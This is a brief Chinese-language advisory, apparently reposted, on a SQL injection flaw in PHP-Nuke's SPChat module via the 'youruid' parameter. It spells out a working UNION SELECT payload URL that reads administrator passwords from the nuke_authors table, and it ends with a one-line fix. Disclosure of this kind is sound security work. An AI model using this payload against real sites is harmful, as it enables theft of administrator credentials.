PHP-Nuke模块(SPChat) SQL注射及修复 - 网站安全 - 自学

作者 : Pr0T3cT10n 程序开发 商 : http://www.phpnuke.org 影响程序名 : PHP-Nuke module(SPChat) 版本 : All 类型 : SQL Injection 概述 : 可获取 数据库 里用户信息   缺陷：     ## http://www.2cto.com /modules.php?op=modload&name=SPChat&file=chooser&youruid=[SQL Injection]     ## http://www.2cto.com  /modules.php?op=modload&name=SPChat&file=chooser&youruid=0+UNION+SELECT+pwd,2,3,4,5,6,7,8+FROM+nuke_authors+LIMIT+0,1   注释     需要注册用户 修复： 检测非法输入

查看更多关于PHP-Nuke模块(SPChat) SQL注射及修复 - 网站安全 - 自学的详细内容...